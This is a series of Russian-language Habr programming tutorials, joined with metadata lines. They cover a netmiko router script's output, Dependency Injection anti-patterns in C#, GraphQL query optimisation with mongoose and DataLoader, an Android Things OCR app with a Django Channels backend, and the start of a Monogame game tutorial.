with multiprocessing.Pool(maxtasksperchild=10) as process_pool:
routers_with_issues = process_pool.map(doRouter, connection_data, 1) # doRouter - function, iplist - argument
process_pool.close()
process_pool.join()
print("\n")
print("#These routers weren't configured#")
failed_file = open('fail.txt', 'w')
for item in routers_with_issues:
if item != None:
failed_file.write("%s\n" % item)
print(item)
#Completing the script and print running time
print("\n")
print("#This script has now completed#")
print("\n")
print("--- %s seconds ---" % (time.time() - start_time))
```
После подготовки скрипта выполнить его можно из командной строки или из PyCharm CE. Из командной строки запускаем командой:
`python script.py`
Я рекомендую пользоваться PyCharm CE. Там создаём новый проект, файл Python (File → New…) и вставляем в него наш скрипт. В папку со скриптом кладем файл ip.txt и запускаем скрипт (Run → Run)
Получаем следующий результат:
```
bash ~/PycharmProjects/p4ne $ python3 script.py
Enter Username: cisco
Password:
Invalid IP - 10.1.1.256
127.0.0.1 - Cannot connect to this device.
1.1.1.1 - Cannot connect to this device.
10.10.100.227 - Static routes added
10.10.100.227 - Config saved
10.10.100.227 - Router configured sucessfully
10.10.31.170 - WARNING - couldn't find static route to 8.8.8.8
10.10.31.170 - WARNING - couldn't find next-hop IP address
10.10.31.170 - Routes weren't added because config is incorrect
2.2.2.2 - Cannot connect to this device.
#These routers weren't configured#
10.1.1.256
127.0.0.1
217.112.31.170
1.1.1.1
2.2.2.2
#This script has now completed#
```
Пару слов о том, как отладить скрипт. Легче всего это делать в PyCharm. Отмечаем строчку, на которой хотим остановить выполнение скрипта, и запускаем выполнение в режиме отладки. После того, как скрипт остановится, можно будет посмотреть текущие значения всех переменных. Проверить, что передаются и принимаются корректные данные. Кнопками «Step Into» или «Step Into My Code» можно пошагово продолжить выполнение скрипта.
Ограничения описанной версии скрипта:
* тестировался только в Python 3
* не умеет обрабатывать ситуацию, когда вы в первый раз подключаетесь к маршрутизатору и получаете вопрос вида:
`The authenticity of host '11.22.33.44 (11.22.33.44)' can't be established.`
`RSA key fingerprint is SHA256:C+BHaMBjuMIoEewAbjbQbRGdVkjs&840Ve3z4aJo.`
`Are you sure you want to continue connecting (yes/no)?`
Этот скрипт был написан для решения конкретных задач. Однако он универсален и, надеюсь, поможет ещё кому-нибудь в работе. А самое главное — послужит первым шагом в освоении Python.
При написании скрипта использовались следующие ресурсы:
* <https://github.com/ktbyers/netmiko> — страница библиотеки netmiko на GitHub. Там есть документация и примеры.
* <https://pynet.twb-tech.com/blog/automation/netmiko.html> — ещё один пример с netmiko
* [https://docs.Python .org/3/library/multiprocessing.html](https://docs.Python%20.org/3/library/multiprocessing.html) — описание и примеры библиотеки multiprocessing
*Александр Гаршин, ведущий инженер-проектировщик систем передачи данных компании «Инфосистемы Джет»* | https://habr.com/ru/post/336608/ | null | ru | null |
# Dependency Injection: анти-паттерны
*Слабая связанность (low coupling) часто является признаком хорошо структурированной компьютерной системы и признаком хорошего дизайна.* Wikipedia
Dependency Injection (DI) — это набор паттернов и принципов разработки програмного обеспечения, которые позволяют писать слабосвязный код. По мнению М.Фаулера, DI является разновидностью более глобального принципа инверсии управления (IoC), также известного как *“Hollywood Principle”.* Между тем, границы принципов внедрения зависимости достаточно размыты. Невозможно провести действительно четкую границу между этим и другими принципами написания качественного объектно-ориентированного кода. Например, принцип Dependency Inversion из SOLID, который часто путают с Dependency Injection, как бы подразумевает внедрение зависимостей, но им не ограничивается.
Как для любых паттернов и принципов, для DI существуют анти-паттерны. Ниже я их перечислю (с несколько вольным переводом англоязычных названий на русский язык).
**Анти-паттерн №1. «Control Freak».** Руководитель-наркоман.
Все зависимости контролируются напрямую. Противоположность принципу инверсии управления.
Антипаттерн возникает всегда, когда мы внутри класса явно создаем изменяемую зависимость, используя ключевое слово new. Класс, который не отпускает контроль над своими зависимостями, является Control Freak.
Пример такого класса показан ниже:
```
private readonly ProductRepository repository;
public ProductService()
{
string connectionString = ConfigurationManager.ConnectionStrings["Context"].ConnectionString;
this.repository = new SqlProductRepository(connectionString);
}
```
Вариант избежать данного анти-паттерна: использовать Dependency Injection (желательно через конструктор). Корректный пример после рефакторинга, не являющийся Control Freak, выглядит следующим образом:
```
private readonly ProductRepository repository;
public ProductService(ProductRepository repository)
{
if (repository == null)
throw new ArgumentNullException("repository");
this.repository = repository;
}
```
**Анти-паттерн №2. «Bastard Injection».** Внебрачная зависимость.
Данный пункт подразумевает множественные перегрузки конструкторов вместе с «конструкторами по умолчанию», которые повсеместно встречаются в .Net, включая BCL. Основная проблема в том, что внешние зависимости обычно определены в других модулях и подобные конструкторы увеличивают связность системы буквально на пустом месте. Следует избегать внебрачных внешних зависимостей везде где возможно, а разрешение зависимостей отдать DI-контейнеру. Пример анти-паттерна приведен ниже:
```
private readonly ProductRepository repository;
public ProductService() : this(ProductService.CreateDefaultRepository())
{
}
public ProductService(ProductRepository repository)
{
if (repository == null)
throw new ArgumentNullException("repository");
this.repository = repository;
}
private static ProductRepository CreateDefaultRepository()
{
string connectionString = ConfigurationManager.ConnectionStrings["Context"].ConnectionString;
return new SqlProductRepository(connectionString);
}
```
Как вариант избежать данного анти-паттерна, предлагается использовать Dependency Injection. Желательно опять же через конструктор, т.к. внедрение зависимостей через конструктор является наиболее корректным способом DI.
**Анти-паттерн №3. «Constrained Construction».** Ограниченное построение.
Анти-паттерн возникает, если существует требование ко всем зависимостям иметь «особенный» конструктор. Данное требование зачастую проистекает из желания «однотипно создавать через Reflection». Что-то типа:
```
string connectionString = ConfigurationManager.ConnectionStrings["Context"].ConnectionString;
string productRepositoryTypeName = ConfigurationManager.AppSettings["ProductRepositoryType"];
var productRepositoryType = Type.GetType(productRepositoryTypeName, true);
var repository = (ProductRepository)Activator.CreateInstance(productRepositoryType, connectionString);
```
Следует избегать данного анти-паттерна, а для однотипного создания классов использовать фабрики.
**Анти-паттерн №4. «Service Locator».** Сервис-локатор.
Анти-паттерн возникает при гранулированном получении отдельных сервисов в различных частях кода.
Автор перечисленных DI-анти-паттернов признает, что вопрос сервис-локатора дискуссионный, однако продолжает считать Service Locator анти-паттерном, аргументируя в основном тем, что бизнес-логика не должна знать об инфраструктурных вещах, одной из которых является сервис-локатор и все зависимости должны пробрасываться явно.
Список анти-паттернов DI приведен из книги [“Dependency Injection in .NET”](http://www.manning.com/seemann/), за авторством Mark Seemann. | https://habr.com/ru/post/166287/ | null | ru | null |
# graphql — оптимизация запросов к базе данных
При работе с базами данных существует проблема которую принято называть «SELECT N + 1» — это когда приложение вместо одного запроса к базе данных, который выбирает все необходимые данные из нескольких связанных таблиц, коллекций, — делает дополнительный подзапрос для каждой строки результата первого запроса, чтобы получить связанные данные. Например, сначала мы получаем список студентов университета, в котором его специальность обозначена идентификатором, а потом для каждого из студентов делаем дополнительный подзапрос в таблицу или коллекцию специальностей, чтобы по идентификатору специальности получить наименование специальности. Поскольку каждый из подзапросов может потребовать еще один подзапрос, и еще один подзапрос — колчество запросов к базе данных начинает расти в геометрической прогрессии.
При работе с graphql очень просто породить проблему «SELECT N + 1», если в resolver-функции сделать подзапрос к связанной таблице. Первое что приходит в голову — сделать запрос сразу с учетом всех связанных данных, но это, согласитесь, нерационально, если связанные данные не запрашиваются клиентом.
Один из вариантов решения проблемы «SELECT N + 1» для graphql будет рассмотрен в этом сообщении.
Для примера возьмем две коллекции: «Авторы» (Author) и «Книги» (Book). Связь, как и следует полагать, «многие-ко-многим». У одного Автора может быть несколько Книг, и одна Книга может быть написана несколькими Авторами. Для хранения информации будем использовать базу данных mongodb и библиотеку mongoose.js
Связь между коллекциями «многие-ко-многим» реализуем при помощи вспомогательной коллекции «BookAuthor» и «виртуальных» полей.
```
// Author.js
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const schema = new Schema({
name: String
});
schema.virtual('books', {
ref: 'BookAuthor',
localField: '_id',
foreignField: 'author'
});
module.exports = schema;
```
```
// Book.js
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const schema = new Schema({
title: String
});
schema.virtual('authors', {
ref: 'BookAuthor',
localField: '_id',
foreignField: 'book'
});
module.exports = schema;
```
```
// BookAuthor.js
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const schema = new Schema({
author: { type: mongoose.Schema.Types.ObjectId, ref: 'Author' },
book: { type: mongoose.Schema.Types.ObjectId, ref: 'Book' }
});
module.exports = schema;
```
```
// mongoSchema.js
const mongoose = require('mongoose');
const Author = require('./Author');
const Book = require('./Book');
const BookAuthor = require('./BookAuthor');
mongoose.connect('mongodb://localhost:27017/books')
mongoose.set('debug', true);
exports.Author = mongoose.model('Author', Author);
exports.Book = mongoose.model('Book', Book);
exports.BookAuthor = mongoose.model('BookAuthor', BookAuthor);
```
Теперь определим типы Author и Book в graphql. Есть небольшая проблема с тем, что эти типы взаимно ссылаются друг на друга. Поэтому для их взаимного доступа используется привязка ссылок к объекту модуля exports, а не привязка нового объекта к module.exports (который заменяет исходный объект), а также поле fields реалзовано в виде функции, что позволяет «отложить» чтение ссылки на объект при его создании до того момента, когда все циклические ссылки станут доступными:
```
// graphqlType.js
exports.Author = require('./Author');
exports.Book = require('./Book');
```
```
// Author.js
const graphql = require('graphql')
const graphqlType = require('./index')
module.exports = new graphql.GraphQLObjectType({
name: 'author',
description: 'Авторы',
fields: () => ({
_id: {type: graphql.GraphQLString},
name: {
type: graphql.GraphQLString,
},
books: {
type: new graphql.GraphQLList(graphqlType.Book),
resolve: obj => obj.books && obj.books.map(book => book.book)
}
})
});
```
```
// Book.js
const graphql = require('graphql')
const graphqlType = require('./index')
module.exports = new graphql.GraphQLObjectType({
name: 'book',
description: 'Книги',
fields: () => ({
_id: {type: graphql.GraphQLString},
title: {
type: graphql.GraphQLString,
},
authors: {
type: new graphql.GraphQLList(graphqlType.Author),
resolve: obj => obj.authors && obj.authors.map(author => author.author)
}
})
});
```
Теперь определим запрос Авторов, возможно, с перечнем их книг, и, возможно, с перечнем авторов (соавторов) этих книг.
```
const graphql = require('graphql');
const getFieldNames = require('graphql-list-fields');
const graphqlType = require('../graphqlType');
const mongoSchema = require('../mongoSchema');
module.exports = {
type: new graphql.GraphQLList(graphqlType.Author),
args: {
_id: {
type: graphql.GraphQLString
}
},
resolve: (_, {_id}, context, info) => {
const fields = getFieldNames(info);
const where = _id ? {_id} : {};
const authors = mongoSchema.Author.find(where)
if (fields.indexOf('books.authors.name') > -1 ) {
authors.populate({
path: 'books',
populate: {
path: 'book',
populate: {path: 'authors', populate: {path: 'author'}}
}
})
} else if (fields.indexOf('books.title') > -1 ) {
authors.populate({path: 'books', populate: {path: 'book'}})
}
return authors.exec();
}
};
```
Для того чтобы определить, запрос каких полей пришел с клиента, используется библиотека graphql-list-fields. И если пришел запрос со вложенными объектами — то вызывается метод populate() библиотеки mongoose.
Теперь поэкпериментируем с запросами. Максимально возможный для нашей реализации запрос:
```
{
author {
_id
name
books {
_id
title
authors {
_id
name
}
}
}
}
```
будет выполнен 5-ю обращениями к базе данных:
```
authors.find({}, { fields: {} })
bookauthors.find({ author: { '$in': [ ObjectId("5b0fcab305b15d38f672357d"), ObjectId("5b0fcabd05b15d38f672357e"), ObjectId("5b0fcac405b15d38f672357f"), ObjectId("5b0fcad705b15d38f6723580"), ObjectId("5b0fcae305b15d38f6723581"), ObjectId("5b0fedb94ad5435896079cf1"), ObjectId("5b0fedbd4ad5435896079cf2") ] } }, { fields: {} })
books.find({ _id: { '$in': [ ObjectId("5b0fcb7105b15d38f6723582") ] } }, { fields: {} })
bookauthors.find({ book: { '$in': [ ObjectId("5b0fcb7105b15d38f6723582") ] } }, { fields: {} })
authors.find({ _id: { '$in': [ ObjectId("5b0fcab305b15d38f672357d"), ObjectId("5b0fcad705b15d38f6723580") ] } }, { fields: {} })
```
Как видим, функция mongoose.js — populate() — не использует относительно новую возможность mongodb — $lookup, а создает дополнительные запросы. Но это не проблема «SELECT N + 1» т.к. новый запрос создается не для каждой строки, а для все коллекции. (Желание проверить как на самом деле работет функция mongoose.js populate() — одним запросом или несколькими — была одним из мотивов выбора не реляционной базы для этого примера).
Если же мы используем минималистический запрос:
```
{
author {
_id
name
}
}
```
то он сформирует только одно обращение к базе данных:
```
authors.find({}, { fields: {} })
```
Этого, собственно, я и добивался. В заключении скажу, что когда я начал искать решения для этой задачи, то нашел очень удобные и продвинутые библиотеки, решающие эту задачу. Одна из них, например, которая мне очень понравилась, на основании структуры реляционной базы данных формировала схему graphql со всеми необходимыми операциями. Однако, такой подход допустим, если graphql используется на стороне бэкэнда приложения. Если открыть доступ к таким сервисам с фронтенда приложения (что мне и нужно было), то это аналогично тому, что поместить в открытом доступе админку к серверу базы данных, т.к. все таблицы становится доступными «из коробки»
Для удобства читателей работающий пример расположил в [репозитории](https://github.com/apapacy/express-graphql-tut).
Дополнение по комментарию пользователя [joniks](https://habr.com/users/joniks/)
Ползователь [joniks](https://habr.com/users/joniks/) в кормментарии сослался на библиотеку <https://github.com/facebook/dataloader>. Давайте посмотрим как эта библиотека позволить справиться с проблемой «SELECT N + 1»
С учетом этой библиотеки определение типа graphql Authors будет выглядеть так:
```
// Autors.js
const graphql = require('graphql')
const DataLoader = require('dataloader')
const graphqlType = require('./index')
const mongoSchema = require('../mongoSchema');
const bookLoader = new DataLoader(async ids => {
const data = await mongoSchema.Book.find({ _id: { $in: ids }}).populate('authors').exec();
const books = data.reduce((obj, item) => (obj[item._id] = item) && obj, {})
const response = ids.map(id => books[id]);
return response;
});
module.exports = new graphql.GraphQLObjectType({
name: 'authors',
description: 'Авторы',
fields: () => ({
_id: {type: graphql.GraphQLString},
name: {
type: graphql.GraphQLString,
},
books: {
type: new graphql.GraphQLList(graphqlType.Books),
resolve: obj => obj.books && obj.books.map(book => bookLoader.load(book.book))
}
})
});
```
В чем смысл использования этой библиотеки: одиночные запросы bookLoader.load(id) накапливаются и передаются на обработку с массивом идентификаторов const bookLoader = new DataLoader(async ids => {…
На выходе мы должны вернуть promise of array или array of promises которые расположены в том же порядке что и входной массив ids.
Теперь мы можем переписать наш запрос Авторов так:
```
// authors.js
const graphql = require('graphql');
const getFieldNames = require('graphql-list-fields');
const graphqlType = require('../graphqlType');
const mongoSchema = require('../mongoSchema');
module.exports = {
type: new graphql.GraphQLList(graphqlType.Authors),
args: {
_id: {
type: graphql.GraphQLString
}
},
resolve: (_, {_id}, context, info) => {
const fields = getFieldNames(info);
const where = _id ? {_id} : {};
const authors = mongoSchema.Author.find(where).populate('books')
return authors.exec();
}
};
```
В результате мы можем проводить запрос связанных объектов произвольного уровня вложенности, не беспокоясь о проблеме SELECT N + 1 (правда ценой безусловного вызова populate() даже там где это было и не нужно):
```
{
authors {
_id
name
books {
_id
title
authors {
_id
name
books {
_id
title
authors {
_id
name
}
}
}
}
}
}
```
Но здесь нужно реально понимать, что если мы перейдем к работе с SQL серверами, то на каждый уровень вложенности объектов будет по одному агрегированному запросу. В то же время, иногда требуется, чтобы это был все же ровно один запрос. Но этого так напрямую при использовании библиотеки dataloader не добъешься. Пример с изменениями доступен в ветке репозитария data-loader.
apapacy@gmail.com
31 мая 2018 года | https://habr.com/ru/post/412847/ | null | ru | null |
# Распознаём тексты на Android Things с ABBYY RTR SDK и django
Привет! Меня зовут Азат Калмыков, я студент второго курса ОП “[Прикладная математика и информатика](https://www.hse.ru/ba/ami/)” Факультета компьютерных наук НИУ ВШЭ и стажёр в отделе мобильной разработки компании ABBYY. В этом материале я расскажу про свой небольшой проект, выполненный в рамках летней стажировки.
Представьте себе небольшой конвейер. По нему едут товары или какие-то детали, на которых важно распознавать текст (возможно, это некий уникальный идентификатор, а может, и что-то более интересное). Хорошим примером будут посылки. Работу конвейера дистанционно контролирует оператор, который отслеживает неполадки и в случае чего решает проблемы. Что может ему в этом помочь? Девайс на платформе Android Things может быть неплохим решением: он мобильный, легко настраивается и может работать через Wi-Fi. Мы решили попробовать использовать [технологии ABBYY](https://www.abbyy.com/products/) и узнать, насколько они подходят для таких ситуаций — распознавания текста в потоке на “нестандартных устройствах” из категории Internet of Things. Мы сознательно будем упрощать многие вещи, так как просто строим концепт. Если стало интересно, добро пожаловать под кат.
### Android Things
К нам в офис ABBYY с конференции [Google I/O](https://events.google.com/io/) приехала замечательная штука под названием [Android Things Starter Kit](https://www.youtube.com/watch?v=rUfhg_nbdSk). Не пропадать же добру, и мы захотели с ней поиграться в поиске различных сценариев использования наших [библиотек распознавания](https://rtrsdk.com/). Сначала нужно собрать наш девайс, а потом запустить. Сделать это несложно, достаточно неукоснительно следовать инструкциям от производителя.
Прочитать подробнее про платформу можно [тут](https://developer.android.com/things/) и [тут](https://androidthings.withgoogle.com/).
*Что пришло в мои руки*
*А в конце поста я покажу, как выглядит собранный девайс*
### Что же мы делаем?
Мы напишем приложение под платформу Android Things, которое будет обрабатывать изображение с камеры, отправляя на наш сервер распознанный текст и (периодически) кадры, чтобы условный оператор мог понять, что происходит на конвейере. Сервер будет написан на django.
Спешу заметить, что для выполнения этого проекта от вас не потребуется никаких вложений, а также регистрации и смс (ладно, на AWS всё-таки надо будет зарегистрироваться и получить бесплатный аккаунт).
### Запускаем ~~ракету в космос~~ сервер
Будем считать, что у вас уже есть бесплатный аккаунт AWS. Привяжем свою карту, чтобы злой Amazon в случае нашей опрометчивости списал с нас пару шекелей. Воспользуемся AWS EC2 и создадим виртуальную машину на Ubuntu Server 18.04 LTS (HVM) с SSD Volume Type. Для данной ОС и при использовании бесплатного аккаунта доступна только одна конфигурация, выбираем её (не волнуйтесь, одного гигабайта оперативной памяти нам хватит с головой). Создадим ssh-ключ (или используем уже готовый) и попробуем подключиться к нашей машине. Так же создадим Elastic IP (что-то вроде статического IP) и сразу же привяжем к нашей машине. Обратите внимание, что Elastic IP, не привязанный ни к какой виртуальной машине, будет стоить вам денег во время разработки.
Подключаемся к серверу. Устанавливаем на машине необходимый тулкит.
Питон третьей версии предустановлен. Дело осталось за малым.
```
$ sudo apt-get update
$ sudo apt-get install python3-pip
$ sudo pip3 install virtualenv
```
Установим докер, он понадобится нам позже.
```
$ sudo apt-get install docker.io
```
Также нужно открыть порт 8000. К нему мы и будем обращаться при использовании веб-сервиса. Порт 22 для ssh открыт по умолчанию.
Ура! Теперь у нас есть удалённый компьютер для запуска наших приложений. Код будем писать прямо на сервере.
#### Django (+ channels)
Я решил использовать django, так как это позволит быстро и просто создать небольшой веб-сервис. Дополнительная библиотека django channels даст нам возможность поработать с веб-сокетами (а именно, сделать ~~костыльную~~ трансляцию через передачу картинки без обновления страницы).
Создаём директорию, в которой разместим проект. Устанавливаем django вместе с django channels, не отклоняясь от инструкции в [документации](https://channels.readthedocs.io/en/latest/installation.html).
```
$ mkdir Project
$ cd Project
$ virtualenv venv
$ source venv/bin/activate
$ pip install -U channels # в том числе подтягивает за собой django
$ pip install channels_redis # для взаимодействия с Redis
$ pip install djangorestframework
$ django-admin startproject mysite
$ cd mysite
```
Создаём проект. У нас будет 3 поддиректории. Основная будет иметь то же название — mysite (создаётся автоматически), другие две — streaming и uploading. Первая будет отвечать за отображение информации на веб-страничке, а вторая — за её загрузку через REST API.
```
$ python3 manage.py startapp streaming
$ cd streaming
$ rm -r migrations admin.py apps.py models.py tests.py
$ cd ..
$ python3 manage.py startapp uploading
$ cd uploading
$ rm -r migrations admin.py apps.py models.py tests.py
```
Настраиваем django channels. Закомментируем строку с WSGI\_APPLICATION и добавим новую с ASGI\_APPLICATION. Теперь наше приложение будет работать асинхронно.
```
# mysite/settings.py
# ...
# WSGI_APPLICATION = ...
ASGI_APPLICATION = 'mysite.routing.application'
# ...
```
Также обновляем значение списка INSTALLED\_APPS.
```
# mysite/settings.py
# ...
INSTALLED_APPS = [
'channels',
'streaming',
'uploading',
'rest_framework',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
# ...
```
#### Архитектура
Мы напишем код, основываясь на [официальном туториале](https://channels.readthedocs.io/en/latest/tutorial/index.html) django channels. Структура нашего небольшого сервиса будет выглядеть следующим образом:
M.Y.I.P:8000/frame — веб-страница, которая будет показывать результат, условно, та страница, на которую смотрит оператор
M.Y.I.P:8000/upload/upload\_text/ — адрес для POST-запроса, отправки распознанного текста
M.Y.I.P:8000/upload/upload\_image/ — адрес для PUT-запроса, отправки отдельных изображений
Нужно прописать эту логику в файлах urls.py соответствующих директорий.
```
# mysite/mysite/urls.py
from django.contrib import admin
from django.conf.urls import include, url
urlpatterns = [
url(r'^frame/', include('streaming.urls')),
url(r'^upload/', include('uploading.urls')),
]
```
#### REST API
Переходим к описанию логики нашего API.
```
# mysite/uploading/urls.py
from django.conf.urls import url
from rest_framework.urlpatterns import format_suffix_patterns
from . import views
urlpatterns = [
url(r'^upload_text/$', views.UploadTextView.as_view()),
url(r'^upload_image/$', views.UploadImageView.as_view()),
]
urlpatterns = format_suffix_patterns(urlpatterns)
```
```
# mysite/uploading/views.py
from django.shortcuts import render
from rest_framework.views import APIView
from rest_framework.response import Response
from channels.layers import get_channel_layer
from rest_framework.parsers import FileUploadParser
from asgiref.sync import async_to_sync
import base64
# Create your views here.
class UploadTextView(APIView):
def post(self, request, format=None):
message = request.query_params['message']
if not message:
raise ParseError("Empty content")
channel_layer = get_channel_layer()
async_to_sync(channel_layer.group_send)("chat", {
"type": "chat.message",
"message": message,
})
return Response({'status': 'ok'})
class UploadImageView(APIView):
parser_class = (FileUploadParser,)
def put(self, request, format=None):
if 'file' not in request.data:
raise ParseError("Empty content")
f = request.data['file']
channel_layer = get_channel_layer()
async_to_sync(channel_layer.group_send)("chat", {
"type": "chat.message",
"image64": base64.b64encode(f.read()).decode("ascii"),
})
return Response({'status': 'ok'})
```
#### Веб-страничка
Вся информация уместится на одной страничке, поэтому логика будет несложная.
```
# mysite/streaming/urls.py
from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^', views.index, name='index'),
]
```
```
# mysite/streaming/views.py
from django.shortcuts import render
from django.utils.safestring import mark_safe
import json
# Create your views here.
def index(request):
return render(request, 'index.html', {})
```
Нам нужно написать небольшой html-документ для отображения результатов. В нём будет встроенный скрипт для подключения к веб-сокету и наполнения контентом.
```
Live from Android Things
![]()
var chatSocket = new WebSocket(
'ws://' + window.location.host + '/ws/chat/');
chatSocket.onmessage = function(e) {
var data = JSON.parse(e.data);
var message = data['message'];
var image64 = data['image64'];
if (image64) {
document.querySelector('#frame').setAttribute(
'src', 'data:image/png;base64,' + image64
);
} else if (message) {
document.querySelector('#chat-log').value += (message + '\n');
}
};
chatSocket.onclose = function(e) {
console.error('Chat socket closed unexpectedly');
};
```
#### Настройка routing, сокетов
Как наиболее удачно перевести слово routing на русский? Попробуем выкинуть из головы этот вопрос и просто настроим его (или её).
```
# mysite/mysite/settings.py
# ...
ALLOWED_HOSTS = ['*'] # заменяем [] на ['*'], разрешаем все хосты
# ...
CHANNEL_LAYERS = {
'default': {
'BACKEND': 'channels_redis.core.RedisChannelLayer',
'CONFIG': {
"hosts": [('127.0.0.1', 6379)],
},
},
}
```
Теперь нужно прописать логику “пересылки” (файлы routing.py аналогичны файлам urls.py, только теперь для веб-сокетов).
```
# mysite/mysite/routing.py
from channels.auth import AuthMiddlewareStack
from channels.routing import ProtocolTypeRouter, URLRouter
import streaming.routing
application = ProtocolTypeRouter({
# (http->django views is added by default)
'websocket': AuthMiddlewareStack(
URLRouter(
streaming.routing.websocket_urlpatterns
)
),
})
```
```
# mysite/streaming/routing.py
from django.conf.urls import url
from . import consumers
websocket_urlpatterns = [
url(r'^ws/chat/$', consumers.FrameConsumer),
]
```
А теперь реализуем сам FrameConsumer в consumers.py
```
# mysite/streaming/consumers.py
from asgiref.sync import async_to_sync
from channels.generic.websocket import WebsocketConsumer, JsonWebsocketConsumer
import json
class FrameConsumer(WebsocketConsumer):
def connect(self):
self.room_group_name = 'chat'
# Join room group
async_to_sync(self.channel_layer.group_add)(
self.room_group_name,
self.channel_name
)
self.accept()
def disconnect(self, close_code):
# Leave room group
async_to_sync(self.channel_layer.group_discard)(
self.room_group_name,
self.channel_name
)
# Receive message from WebSocket
def receive(self, text_data):
text_data_json = json.loads(text_data)
message = text_data_json['message']
# Send message to room group
async_to_sync(self.channel_layer.group_send)(
self.room_group_name,
{
'type': 'chat_message',
'message': message
}
)
# Receive message from room group
def chat_message(self, event):
if 'message' in event:
# Send message to WebSocket
self.send(text_data=json.dumps({
'message': event['message']
}))
elif 'image64' in event:
self.send(text_data=json.dumps({
'image64': event['image64']
}))
```
Ну и наконец, с потными ладошками запускаем.
```
$ docker run -p 6379:6379 -d redis:2.8
$ python manage.py runserver 0.0.0.0:8000
```
### А теперь собственно про Android
Библиотечный файл .aar лежит в директории libs скачанного архива, импортируем. Скопируем содержимое директории assets архива (там по сути файлы необходимые для самого процесса распознавания) в assets нашего проекта. Туда же скопируем файл лицензии из архива, без него приложение не запустится.
Для того чтобы реализовать нужный нам функционал ABBYY RTR SDK, нужно создать объект типа Engine, а с помощью уже него объект типа ITextCaptureService, который мы позже запустим.
```
try {
mEngine = Engine.load(this, LICENSE_FILE_NAME);
mTextCaptureService = mEngine.createTextCaptureService(textCaptureCallback);
return true;
} // ...
```
В этом случае нужно передать объект типа ITextCaptureService.Callback, создадим его прямо в нашем классе MainActivity, он должен реализовывать 3 метода.
```
private ITextCaptureService.Callback textCaptureCallback = new ITextCaptureService.Callback() {
@Override
public void onRequestLatestFrame(byte[] buffer) {
// Метод хочет, чтобы мы заполнили полученный буфер новым кадром.
// Мы делегируем это камере.
mCamera.addCallbackBuffer(buffer);
}
@Override
public void onFrameProcessed(
ITextCaptureService.TextLine[] lines,
ITextCaptureService.ResultStabilityStatus resultStatus, ITextCaptureService.Warning warning) {
// Здесь мы получаем результаты обработки изображения, то есть текст
if (resultStatus.ordinal() >= 3) {
// Результаты достаточно стабильны, чтобы показать их пользователю
mSurfaceViewWithOverlay.setLines(lines, resultStatus);
} else {
// Нестабильный результат, лучше ничего не показывать
mSurfaceViewWithOverlay.setLines(null, ITextCaptureService.ResultStabilityStatus.NotReady);
}
// Показываем warnings
// ...
}
@Override
public void onError(Exception e) {
// Здесь обрабатываем ошибки
}
};
```
Мы делегировали получение кадра объекту камеры. Покажу, что происходит внутри.
```
private Camera.PreviewCallback cameraPreviewCallback = new Camera.PreviewCallback() {
@Override
public void onPreviewFrame(byte[] data, Camera camera) {
// Если пришло время отправлять (если ещё ничего не отправляется)
if (!mIsUploading) {
mIsUploading = true;
// Отправляем на сервер
new UploadImageTask(mCameraPreviewSize.width, mCameraPreviewSize.height).execute(data);
}
// Заполняем полученный ранее буфер
mTextCaptureService.submitRequestedFrame(data);
}
};
```
Для отправки сообщений напишем пару классов, которые в свою очередь будут делегировать свою работу объекту класса Uploader.
```
public static class UploadTextTask extends AsyncTask {
@Override
protected Void doInBackground(String... params) {
mUploader.uploadText(params[0]);
return null;
}
}
public static class UploadImageTask extends AsyncTask {
private int mCameraPreviewWidth;
private int mCameraPreviewHeight;
public UploadImageTask(int width, int height) {
mCameraPreviewWidth = width;
mCameraPreviewHeight = height;
}
@Override
protected Void doInBackground(final byte[]... params) {
byte[] jpegBytes = convertToJpegBytes(params[0]);
if (jpegBytes != null) {
mUploader.uploadImage(jpegBytes);
}
return null;
}
private byte[] convertToJpegBytes(byte[] rawBytes) {
YuvImage yuvImage = new YuvImage(
rawBytes,
ImageFormat.NV21,
mCameraPreviewWidth,
mCameraPreviewHeight,
null
);
try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
yuvImage.compressToJpeg(
new Rect(0, 0, mCameraPreviewWidth, mCameraPreviewHeight),
40,
os
);
return os.toByteArray();
} catch (IOException e) {
Log.d(TAG, "compress error");
return null;
}
}
// ...
}
```
Само общение с сетью в классе Uploader реализовано с помощью удобной библиотеки OkHttp3. Она позволяет сильно упростить взаимодействие с сервером.
### Результат
Получаем работающее клиент-серверное приложение с распознавалкой от ABBYY, встроенное в Internet of Things, – ну не круто ли?
*Собранный девайс и небольшая нативная реклама моего работодателя*
*Текст распознался*
*Селфи-панорама с обзором нескольких устройств*
*Видос, как это всё может выглядеть в реале*
Репозитории на github:
→ [AndroidThingsTextRecognition-Backend](https://github.com/CookiesDeathCookies/AndroidThingsTextRecognition-Backend)
→ [AndroidThingsTextRecognition-Android](https://github.com/CookiesDeathCookies/AndroidThingsTextRecognition-Android)
Забирайте и пользуйтесь! | https://habr.com/ru/post/432514/ | null | ru | null |
# Как написать игру на Monogame, не привлекая внимания санитаров. Часть 3, уменьшаем энтропию
Предыдущие части: [Часть 0](https://habr.com/ru/post/676850/), [Часть 1](https://habr.com/ru/post/676998/), [Часть2](https://habr.com/ru/post/677718/)
*4.5* *Создаем вселенную*
Итак, мы закончили делать базовый каркас и довели программу до уровня перемещающейся картинки. Настало время упорядочить наш мир, чтобы нам, во-первых, не приходилось прописывать руками генерацию каждого объекта (ведь, у нас их будет много), а, во-вторых, чтобы в будущем легче было обсчитывать все это великолепие.
Начнем с того, что расчертим наш мир на квадраты (тайлы) внутри которых будет происходить что-то интересное, например, находиться машинка. Для этого внутри нашего GameCycle создадим новый двухмерный массив и дадим ему тестовые размеры 10х8 ячеек типа char. Идея следующая — если в ячейке стоит определенный символ, например, 'P', то в заданном квадрате игра сгенерирует машинку игрока. Если не нравится возиться с символьными типами, то можно сделать любой другой массив (кроме булевого) и ввести свои обозначения. Я раньше так и делал, пока не подсмотрел идею с чаровыми массивами для карты на канале StandaloneCoder и не забрал себе — мне так удобнее работать . Далее вводим параметр геометрического размера нашего квадратика — \_tileSize. Задать его лучше так, чтобы объекты помещались внутри него. За кадром я уменьшил спрайт машинки (теперь он 77х100 пикселей), поэтому размеры тайла у меня будут равны 100.
